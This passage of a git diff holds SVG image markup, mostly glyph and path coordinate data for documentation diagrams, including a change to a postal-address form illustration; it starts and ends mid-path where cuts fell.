0-.796.152-1.14.453-.344.305-.574.68-.688 1.125V0H1.063v-12.594h1.296v4.438h.047c.239-.313.535-.567.89-.766.352-.195.798-.297 1.329-.297.395 0 .738.059 1.031.172.301.106.547.293.735.563.187.261.328.609.421 1.046.102.438.157.981.157 1.625V0zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="m.578-1.172 3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="M7.734-.484c-.293.25-.668.43-1.125.53C6.15.16 5.672.22 5.172.22a4.324 4.324 0 0 1-1.766-.36C2.863-.379 2.395-.758 2-1.28c-.387-.52-.688-1.192-.906-2.016-.211-.832-.313-1.832-.313-3 0-1.195.117-2.207.36-3.031.25-.832.578-1.504.984-2.016.406-.52.875-.894 1.406-1.125a4.251 4.251 0 0 1 1.656-.344c.57 0 1.047.043 1.422.126.383.085.711.183.985.296l-.328 1.235a3.297 3.297 0 0 0-.844-.313 5.256 5.256 0 0 0-1.11-.11c-.417 0-.812.095-1.187.282-.375.188-.71.492-1 .906-.281.407-.508.95-.672 1.625-.168.668-.25 1.493-.25 2.47 0 1.75.297 3.07.89 3.952.602.875 1.4 1.313 2.391 1.313a3.26 3.26 0 0 0 1.11-.172c.32-.113.597-.25.828-.406zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h722v512H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.236 40.853h35.865V66.19H24.236zm0 0" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.644 44.584H57.1M26.644 62.446H57.1M26.644 44.584a.3.3 0 0 0-.3.3M57.4 44.884a.3.3 0 0 0-.3-.3M26.344 44.884v17.262M57.4 44.884v17.262M26.344 62.146a.3.3 0 0 0 .3.3M57.1 62.446a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 125.96h102.399v23.853H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="144.211"/><use xlink:href="#b" x="86.109" y="144.211"/><use xlink:href="#b" x="95.016" y="144.211"/><use xlink:href="#c" x="103.922" y="144.211"/><use xlink:href="#d" x="109.781" y="144.211"/><use xlink:href="#e" x="118.336" y="144.211"/><use xlink:href="#e" x="125.328" y="144.211"/><use xlink:href="#f" x="132.32" y="144.211"/><use xlink:href="#g" x="136.422" y="144.211"/><use xlink:href="#h" x="141.285" y="144.211"/><use xlink:href="#i" x="145.777" y="144.211"/><use xlink:href="#d" x="154.762" y="144.211"/><use xlink:href="#f" x="163.316" y="144.211"/><use xlink:href="#j" x="167.418" y="144.211"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 116.684h408v40h-408zM197.313 122.684v-6c-3.313 0-6 2.687-6 6zM605.313 122.684h6c0-3.313-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 122.684h420v28h-420zM197.313 150.684h-6c0 3.312 2.687 6 6 6zM605.313 150.684v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 46.46h20.4M34.052 48.46h20.4M34.052 46.46a.3.3 0 0 0-.3.3M54.752 46.76a.3.3 0 0 0-.3-.3M33.752 46.76v1.4M54.752 46.76v1.4M33.752 48.16a.3.3 0 0 0 .3.3M54.452 48.46a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.313 161.434h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#k" x="191.313" y="177.684"/><use xlink:href="#l" x="199.008" y="177.684"/><use xlink:href="#m" x="203.949" y="177.684"/><use xlink:href="#n" x="208.891" y="177.684"/><use xlink:href="#n" x="216.215" y="177.684"/><use xlink:href="#l" x="223.656" y="177.684"/><use xlink:href="#o" x="228.598" y="177.684"/><use xlink:href="#p" x="232.406" y="177.684"/><use xlink:href="#q" x="239.613" y="177.684"/><use xlink:href="#q" x="247.406" y="177.684"/><use xlink:href="#m" x="255.199" y="177.684"/><use xlink:href="#n" x="260.141" y="177.684"/><use xlink:href="#r" x="267.582" y="177.684"/><use xlink:href="#r" x="273.656" y="177.684"/><use xlink:href="#s" x="279.73" y="177.684"/><use xlink:href="#o" x="281.469" y="177.684"/><use xlink:href="#t" x="285.277" y="177.684"/><use xlink:href="#u" x="291.527" y="177.684"/><use xlink:href="#v" x="294.32" y="177.684"/><use xlink:href="#u" x="303.793" y="177.684"/><use xlink:href="#o" x="305.414" y="177.684"/><use xlink:href="#w" x="309.223" y="177.684"/><use xlink:href="#x" x="317.035" y="177.684"/><use xlink:href="#y" x="324.496" y="177.684"/><use xlink:href="#s" x="331.918" y="177.684"/><use xlink:href="#o" x="333.656" y="177.684"/><use xlink:href="#z" x="337.465" y="177.684"/><use xlink:href="#x" x="343.578" y="177.684"/><use xlink:href="#A" x="351.352" y="177.684"/><use xlink:href="#B" x="363.07" y="177.684"/><use xlink:href="#p" x="370.902" y="177.684"/><use xlink:href="#C" x="378.109" y="177.684"/><use xlink:href="#D" x="386.02" y="177.684"/><use xlink:href="#o" x="392.309" y="177.684"/><use xlink:href="#C" x="396.117" y="177.684"/><use xlink:href="#p" x="404.027" y="177.684"/><use xlink:href="#A" x="411.234" y="177.684"/><use xlink:href="#n" x="422.953" y="177.684"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.157 51.13-3.462-.005" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.695 51.125c0-.125.125-.25.25-.25s.25.126.25.25c0 .126-.125.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 207.293h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="225.543"/><use xlink:href="#b" x="86.109" y="225.543"/><use xlink:href="#b" x="95.016" y="225.543"/><use xlink:href="#c" x="103.922" y="225.543"/><use xlink:href="#d" x="109.781" y="225.543"/><use xlink:href="#e" x="118.336" y="225.543"/><use xlink:href="#e" x="125.328" y="225.543"/><use xlink:href="#f" x="132.32" y="225.543"/><use xlink:href="#g" x="136.422" y="225.543"/><use xlink:href="#h" x="141.285" y="225.543"/><use xlink:href="#i" x="145.777" y="225.543"/><use xlink:href="#d" x="154.762" y="225.543"/><use xlink:href="#f" x="163.316" y="225.543"/><use xlink:href="#E" x="167.418" y="225.543"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 198.02h408v40h-408zM197.313 204.02v-6c-3.313 0-6 2.683-6 6zM605.313 204.02h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 204.02h420v28h-420zM197.313 232.02h-6c0 3.312 2.687 6 6 6zM605.313 232.02v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 50.528h20.4M34.052 52.528h20.4M34.052 50.528a.3.3 0 0 0-.3.3M54.752 50.828a.3.3 0 0 0-.3-.3M33.752 50.828v1.4M54.752 50.828v1.4M33.752 52.228a.3.3 0 0 0 .3.3M54.452 52.528a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.813 242.434h223.101v21.25H190.813zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#F" x="190.813" y="258.684"/><use xlink:href="#B" x="199.328" y="258.684"/><use xlink:href="#p" x="207.16" y="258.684"/><use xlink:href="#m" x="214.367" y="258.684"/><use xlink:href="#l" x="219.738" y="258.684"/><use xlink:href="#A" x="224.68" y="258.684"/><use xlink:href="#n" x="236.398" y="258.684"/><use xlink:href="#C" x="243.84" y="258.684"/><use xlink:href="#l" x="251.75" y="258.684"/><use xlink:href="#s" x="256.691" y="258.684"/><use xlink:href="#o" x="258.43" y="258.684"/><use xlink:href="#r" x="262.238" y="258.684"/><use xlink:href="#G" x="268.313" y="258.684"/><use xlink:href="#H" x="276.125" y="258.684"/><use xlink:href="#l" x="280.031" y="258.684"/><use xlink:href="#n" x="284.855" y="258.684"/><use xlink:href="#s" x="292.297" y="258.684"/><use xlink:href="#o" x="294.035" y="258.684"/><use xlink:href="#G" x="297.844" y="258.684"/><use xlink:href="#C" x="305.656" y="258.684"/><use xlink:href="#H" x="313.566" y="258.684"/><use xlink:href="#l" x="317.473" y="258.684"/><use xlink:href="#s" x="322.414" y="258.684"/><use xlink:href="#o" x="324.152" y="258.684"/><use xlink:href="#w" x="327.961" y="258.684"/><use xlink:href="#G" x="335.773" y="258.684"/><use xlink:href="#H" x="343.586" y="258.684"/><use xlink:href="#I" x="347.492" y="258.684"/><use xlink:href="#q" x="351.691" y="258.684"/><use xlink:href="#H" x="359.484" y="258.684"/><use xlink:href="#C" x="363.391" y="258.684"/><use xlink:href="#J" x="371.301" y="258.684"/><use xlink:href="#s" x="379.074" y="258.684"/><use xlink:href="#o" x="380.813" y="258.684"/><use xlink:href="#K" x="384.621" y="258.684"/><use xlink:href="#x" x="393.059" y="258.684"/><use xlink:href="#x" x="400.832" y="258.684"/><use xlink:href="#m" x="408.605" y="258.684"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 290.793h27.399v23.852H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#L" x="149.242" y="309.043"/><use xlink:href="#h" x="158.383" y="309.043"/><use xlink:href="#M" x="162.875" y="309.043"/><use xlink:href="#N" x="168.305" y="309.043"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 281.52h188v40h-188zM197.313 287.52v-6c-3.313 0-6 2.683-6 6zM385.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 287.52h200v28h-200zM197.313 315.52h-6c0 3.312 2.687 6 6 6zM385.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 54.703h9.4M34.052 56.703h9.4M34.052 54.703a.3.3 0 0 0-.3.3M43.752 55.003a.3.3 0 0 0-.3-.3M33.752 55.003v1.4M43.752 55.003v1.4M33.752 56.403a.3.3 0 0 0 .3.3M43.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 362.023h62.353v23.852H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#O" x="114.887" y="380.273"/><use xlink:href="#P" x="123.793" y="380.273"/><use xlink:href="#Q" x="128.559" y="380.273"/><use xlink:href="#f" x="137.465" y="380.273"/><use xlink:href="#L" x="141.352" y="380.273"/><use xlink:href="#R" x="149.945" y="380.273"/><use xlink:href="#b" x="158.852" y="380.273"/><use xlink:href="#d" x="167.758" y="380.273"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 352.746h108v40h-108zM197.313 358.746v-6c-3.313 0-6 2.688-6 6zM305.313 358.746h6c0-3.312-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 358.746h120v28h-120zM197.313 386.746h-6c0 3.317 2.687 6 6 6zM305.313 386.746v6c3.312 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 58.264h5.4M34.052 60.264h5.4M34.052 58.264a.3.3 0 0 0-.3.3M39.752 58.564a.3.3 0 0 0-.3-.3M33.752 58.564v1.4M39.752 58.564v1.4M33.752 59.964a.3.3 0 0 0 .3.3M39.452 60.264a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.313 281.52h128v40h-128zM477.313 287.52v-6c-3.313 0-6 2.683-6 6zM605.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M471.313 287.52h140v28h-140zM477.313 315.52h-6c0 3.312 2.687 6 6 6zM605.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.052 54.703h6.4M48.052 56.703h6.4M48.052 54.703a.3.3 0 0 0-.3.3M54.752 55.003a.3.3 0 0 0-.3-.3M47.752 55.003v1.4M54.752 55.003v1.4M47.752 56.403a.3.3 0 0 0 .3.3M54.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 290.793h37.8v23.852h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#S" x="423.066" y="309.043"/><use xlink:href="#M" x="431.855" y="309.043"/><use xlink:href="#T" x="437.676" y="309.043"/><use xlink:href="#M" x="445.938" y="309.043"/><use xlink:href="#d" x="451.758" y="309.043"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m27.9 42.973.006 1.899" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M27.906 44.872a.269.269 0 0 1-.251-.25c0-.124.124-.25.25-.25a.27.27 0 0 1 .25.25c0 .124-.124.25-.25.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m46.275 43.802-.026 5.672" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M46.25 49.474a.269.269 0 0 1-.25-.251c0-.125.126-.25.251-.249.125 0 .25.126.25.251-.002.125-.127.25-.252.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M519.305 458.691h176.699v21.25h-176.7zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="519.305" y="474.941"/><use xlink:href="#x" x="527.137" y="474.941"/><use xlink:href="#r" x="534.91" y="474.941"/><use xlink:href="#l" x="540.984" y="474.941"/><use xlink:href="#p" x="545.926" y="474.941"/><use xlink:href="#I" x="553.133" y="474.941"/><use xlink:href="#U" x="557.332" y="474.941"/><use xlink:href="#p" x="563.348" y="474.941"/><use xlink:href="#q" x="570.555" y="474.941"/><use xlink:href="#q" x="578.348" y="474.941"/><use xlink:href="#m" x="586.141" y="474.941"/><use xlink:href="#n" x="591.082" y="474.941"/><use xlink:href="#r" x="598.523" y="474.941"/><use xlink:href="#r" x="604.598" y="474.941"/><use xlink:href="#U" x="610.672" y="474.941"/><use xlink:href="#r" x="616.688" y="474.941"/><use xlink:href="#l" x="622.762" y="474.941"/><use xlink:href="#p" x="627.703" y="474.941"/><use xlink:href="#l" x="634.91" y="474.941"/><use xlink:href="#n" x="639.734" y="474.941"/><use xlink:href="#U" x="647.176" y="474.941"/><use xlink:href="#V" x="653.191" y="474.941"/><use xlink:href="#H" x="663.816" y="474.941"/><use xlink:href="#q" x="667.723" y="474.941"/><use xlink:href="#J" x="675.516" y="474.941"/><use xlink:href="#n" x="683.289" y="474.941"/><use xlink:href="#l" x="690.73" y="474.941"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M44.988 24.355H165.84v21.25H44.988zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="44.988" y="40.605"/><use xlink:href="#x" x="52.82" y="40.605"/><use xlink:href="#r" x="60.594" y="40.605"/><use xlink:href="#l" x="66.668" y="40.605"/><use xlink:href="#p" x="71.609" y="40.605"/><use xlink:href="#I" x="78.816" y="40.605"/><use xlink:href="#U" x="83.016" y="40.605"/><use xlink:href="#p" x="89.031" y="40.605"/><use xlink:href="#q" x="96.238" y="40.605"/><use xlink:href="#q" x="104.031" y="40.605"/><use xlink:href="#m" x="111.824" y="40.605"/><use xlink:href="#n" x="116.766" y="40.605"/><use xlink:href="#r" x="124.207" y="40.605"/><use xlink:href="#r" x="130.281" y="40.605"/><use xlink:href="#U" x="136.355" y="40.605"/><use xlink:href="#m" x="142.371" y="40.605"/><use xlink:href="#x" x="147.313" y="40.605"/><use xlink:href="#V" x="154.949" y="40.605"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M311.148 41.605H524.5v21.25H311.148zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="311.148" y="57.855"/><use xlink:href="#x" x="318.98" y="57.855"/><use xlink:href="#r" x="326.754" y="57.855"/><use xlink:href="#l" x="332.828" y="57.855"/><use xlink:href="#p" x="337.77" y="57.855"/><use xlink:href="#I" x="344.977" y="57.855"/><use xlink:href="#U" x="349.176" y="57.855"/><use xlink:href="#p" x="355.191" y="57.855"/><use xlink:href="#q" x="362.398" y="57.855"/><use xlink:href="#q" x="370.191" y="57.855"/><use xlink:href="#m" x="377.984" y="57.855"/><use xlink:href="#n" x="382.926" y="57.855"/><use xlink:href="#r" x="390.367" y="57.855"/><use xlink:href="#r" x="396.441" y="57.855"/><use xlink:href="#U" x="402.516" y="57.855"/><use xlink:href="#p" x="408.531" y="57.855"/><use xlink:href="#q" x="415.738" y="57.855"/><use xlink:href="#q" x="423.531" y="57.855"/><use xlink:href="#m" x="431.324" y="57.855"/><use xlink:href="#n" x="436.266" y="57.855"/><use xlink:href="#r" x="443.707" y="57.855"/><use xlink:href="#r" x="449.781" y="57.855"/><use xlink:href="#W" x="455.855" y="57.855"/><use xlink:href="#H" x="463.316" y="57.855"/><use xlink:href="#C" x="467.223" y="57.855"/><use xlink:href="#n" x="475.133" y="57.855"/><use xlink:href="#X" x="482.574" y="57.855"/><use xlink:href="#U" x="490.68" y="57.855"/><use xlink:href="#Y" x="496.695" y="57.855"/><use xlink:href="#n" x="504.625" y="57.855"/><use xlink:href="#I" x="512.066" y="57.855"/><use xlink:href="#B" x="516.266" y="57.855"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M54.402 467.422h183.602v21.25H54.402zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="54.402" y="483.672"/><use xlink:href="#x" x="62.234" y="483.672"/><use xlink:href="#r" x="70.008" y="483.672"/><use xlink:href="#l" x="76.082" y="483.672"/><use xlink:href="#p" x="81.023" y="483.672"/><use xlink:href="#I" x="88.23" y="483.672"/><use xlink:href="#U" x="92.43" y="483.672"/><use xlink:href="#p" x="98.445" y="483.672"/><use xlink:href="#q" x="105.652" y="483.672"/><use xlink:href="#q" x="113.445" y="483.672"/><use xlink:href="#m" x="121.238" y="483.672"/><use xlink:href="#n" x="126.18" y="483.672"/><use xlink:href="#r" x="133.621" y="483.672"/><use xlink:href="#r" x="139.695" y="483.672"/><use xlink:href="#U" x="145.77" y="483.672"/><use xlink:href="#Z" x="151.785" y="483.672"/><use xlink:href="#H" x="158.27" y="483.672"/><use xlink:href="#B" x="162.176" y="483.672"/><use xlink:href="#aa" x="170.008" y="483.672"/><use xlink:href="#x" x="177.781" y="483.672"/><use xlink:href="#q" x="185.555" y="483.672"/><use xlink:href="#n" x="193.348" y="483.672"/><use xlink:href="#U" x="200.789" y="483.672"/><use xlink:href="#I" x="206.805" y="483.672"/><use xlink:href="#p" x="211.004" y="483.672"/><use xlink:href="#w" x="218.211" y="483.672"/><use xlink:href="#n" x="226.023" y="483.672"/><use xlink:href="#I" x="233.465" y="483.672"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m53.803 63.6.026-7.133" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M53.83 56.467c.124 0 .249.126.248.251 0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.252c0-.125.126-.25.251-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m29.356 63.968.027-4.877" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M29.383 59.091c.125 0 .25.127.248.252 0 .125-.126.249-.251.248a.269.269 0 0 1-.249-.251c.001-.125.127-.25.252-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/></svg> diff --git a/_images/form/form-custom-type-postal-address.svg b/_images/form/form-custom-type-postal-address.svg index ab0fde8af3a..42ffce4067f 100644 --- a/_images/form/form-custom-type-postal-address.svg +++ b/_images/form/form-custom-type-postal-address.svg @@ -1 +1 @@ -<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 478"><defs><symbol overflow="visible" id="a"><path d="M 1.28125 -13.859375 C 1.707031 -13.984375 2.160156 -14.0625 2.640625 -14.09375 C 3.117188 -14.132812 3.59375 -14.15625 4.0625 -14.15625 C 4.59375 -14.15625 5.117188 -14.09375 5.640625 -13.96875 C 6.160156 -13.851562 6.628906 -13.632812 7.046875 -13.3125 C 7.472656 -13 7.8125 -12.5625 8.0625 -12 C 8.320312 -11.4375 8.453125 -10.722656 8.453125 -9.859375 C 8.453125 -9.015625 8.328125 -8.300781 8.078125 -7.71875 C 7.835938 -7.132812 7.515625 -6.65625 7.109375 -6.28125 C 6.703125 -5.914062 6.234375 -5.648438 5.703125 -5.484375 C 5.179688 -5.316406 4.640625 -5.234375 4.078125 -5.234375 C 4.023438 -5.234375 3.9375 -5.234375 3.8125 -5.234375 C 3.695312 -5.234375 3.570312 -5.238281 3.4375 -5.25 C 3.300781 -5.257812 3.171875 -5.269531 3.046875 -5.28125 C 2.921875 -5.289062 2.832031 -5.300781 2.78125 -5.3125 L 2.78125 0 L 1.28125 0 Z M 4.140625 -12.78125 C 3.867188 -12.78125 3.609375 -12.769531 3.359375 -12.75 C 3.117188 -12.726562 2.925781 -12.695312 2.78125 -12.65625 L 2.78125 -6.703125 C 2.832031 -6.671875 2.914062 -6.648438 3.03125 -6.640625 C 3.144531 -6.640625 3.257812 -6.632812 3.375 -6.625 C 3.5 -6.625 3.617188 -6.625 3.734375 -6.625 C 3.847656 -6.625 3.929688 -6.625 3.984375 -6.625 C 4.359375 -6.625 4.71875 -6.671875 5.0625 -6.765625 C 5.40625 -6.859375 5.707031 -7.023438 5.96875 -7.265625 C 6.238281 -7.515625 6.457031 -7.847656 6.625 -8.265625 C 6.789062 -8.691406 6.875 -9.222656 6.875 -9.859375 C 6.875 -10.421875 6.796875 -10.882812 6.640625 -11.25 C 6.492188 -11.625 6.296875 -11.925781 6.046875 -12.15625 C 5.804688 -12.382812 5.519531 -12.546875 5.1875 -12.640625 C 4.851562 -12.734375 4.503906 -12.78125 4.140625 -12.78125 Z M 4.140625 -12.78125"/></symbol><symbol overflow="visible" id="b"><path d="M 0.734375 -5 C 0.734375 -6.800781 1.039062 -8.125 1.65625 -8.96875 C 2.28125 -9.8125 3.164062 -10.234375 4.3125 -10.234375 C 5.539062 -10.234375 6.445312 -9.800781 7.03125 -8.9375 C 7.613281 -8.070312 7.90625 -6.757812 7.90625 -5 C 7.90625 -3.1875 7.585938 -1.859375 6.953125 -1.015625 C 6.328125 -0.179688 5.445312 0.234375 4.3125 0.234375 C 3.09375 0.234375 2.191406 -0.195312 1.609375 -1.0625 C 1.023438 -1.925781 0.734375 -3.238281 0.734375 -5 Z M 2.234375 -5 C 2.234375 -4.414062 2.269531 -3.882812 2.34375 -3.40625 C 2.414062 -2.925781 2.535156 -2.507812 2.703125 -2.15625 C 2.867188 -1.8125 3.085938 -1.539062 3.359375 -1.34375 C 3.628906 -1.15625 3.945312 -1.0625 4.3125 -1.0625 C 5.007812 -1.0625 5.53125 -1.367188 5.875 -1.984375 C 6.226562 -2.609375 6.40625 -3.613281 6.40625 -5 C 6.40625 -5.570312 6.367188 -6.097656 6.296875 -6.578125 C 6.222656 -7.066406 6.101562 -7.484375 5.9375 -7.828125 C 5.769531 -8.179688 5.550781 -8.453125 5.28125 -8.640625 C 5.007812 -8.835938 4.6875 -8.9375 4.3125 -8.9375 C 3.632812 -8.9375 3.117188 -8.625 2.765625 -8 C 2.410156 -7.375 2.234375 -6.375 2.234375 -5 Z M 2.234375 -5"/></symbol><symbol overflow="visible" id="c"><path d="M 1.015625 -1.640625 C 1.285156 -1.484375 1.601562 -1.347656 1.96875 -1.234375 C 2.332031 -1.117188 2.707031 -1.0625 3.09375 -1.0625 C 3.539062 -1.0625 3.914062 -1.171875 4.21875 -1.390625 C 4.53125 -1.609375 4.6875 -1.960938 4.6875 -2.453125 C 4.6875 -2.867188 4.59375 -3.207031 4.40625 -3.46875 C 4.21875 -3.738281 3.976562 -3.976562 3.6875 -4.1875 C 3.40625 -4.40625 3.097656 -4.601562 2.765625 -4.78125 C 2.429688 -4.96875 2.117188 -5.1875 1.828125 -5.4375 C 1.546875 -5.6875 1.3125 -5.984375 1.125 -6.328125 C 0.9375 -6.679688 0.84375 -7.125 0.84375 -7.65625 C 0.84375 -8.507812 1.070312 -9.148438 1.53125 -9.578125 C 1.988281 -10.015625 2.640625 -10.234375 3.484375 -10.234375 C 4.023438 -10.234375 4.492188 -10.179688 4.890625 -10.078125 C 5.296875 -9.984375 5.644531 -9.851562 5.9375 -9.6875 L 5.5625 -8.484375 C 5.3125 -8.617188 5.019531 -8.726562 4.6875 -8.8125 C 4.351562 -8.894531 4.007812 -8.9375 3.65625 -8.9375 C 3.175781 -8.9375 2.828125 -8.835938 2.609375 -8.640625 C 2.390625 -8.441406 2.28125 -8.128906 2.28125 -7.703125 C 2.28125 -7.367188 2.375 -7.082031 2.5625 -6.84375 C 2.75 -6.613281 2.984375 -6.398438 3.265625 -6.203125 C 3.554688 -6.015625 3.867188 -5.816406 4.203125 -5.609375 C 4.535156 -5.410156 4.84375 -5.175781 5.125 -4.90625 C 5.414062 -4.632812 5.65625 -4.304688 5.84375 -3.921875 C 6.03125 -3.546875 6.125 -3.070312 6.125 -2.5 C 6.125 -2.125 6.0625 -1.769531 5.9375 -1.4375 C 5.820312 -1.101562 5.640625 -0.8125 5.390625 -0.5625 C 5.140625 -0.320312 4.832031 -0.128906 4.46875 0.015625 C 4.101562 0.160156 3.675781 0.234375 3.1875 0.234375 C 2.59375 0.234375 2.082031 0.175781 1.65625 0.0625 C 1.226562 -0.0390625 0.867188 -0.1875 0.578125 -0.375 Z M 1.015625 -1.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 0.1875 -10 L 1.40625 -10 L 1.40625 -11.984375 L 2.84375 -12.4375 L 2.84375 -10 L 5 -10 L 5 -8.703125 L 2.84375 -8.703125 L 2.84375 -2.734375 C 2.84375 -2.148438 2.910156 -1.726562 3.046875 -1.46875 C 3.191406 -1.207031 3.421875 -1.078125 3.734375 -1.078125 C 4.003906 -1.078125 4.234375 -1.109375 4.421875 -1.171875 C 4.617188 -1.234375 4.832031 -1.3125 5.0625 -1.40625 L 5.34375 -0.265625 C 5.050781 -0.117188 4.726562 -0.00390625 4.375 0.078125 C 4.019531 0.171875 3.648438 0.21875 3.265625 0.21875 C 2.597656 0.21875 2.117188 0.00390625 1.828125 -0.421875 C 1.546875 -0.859375 1.40625 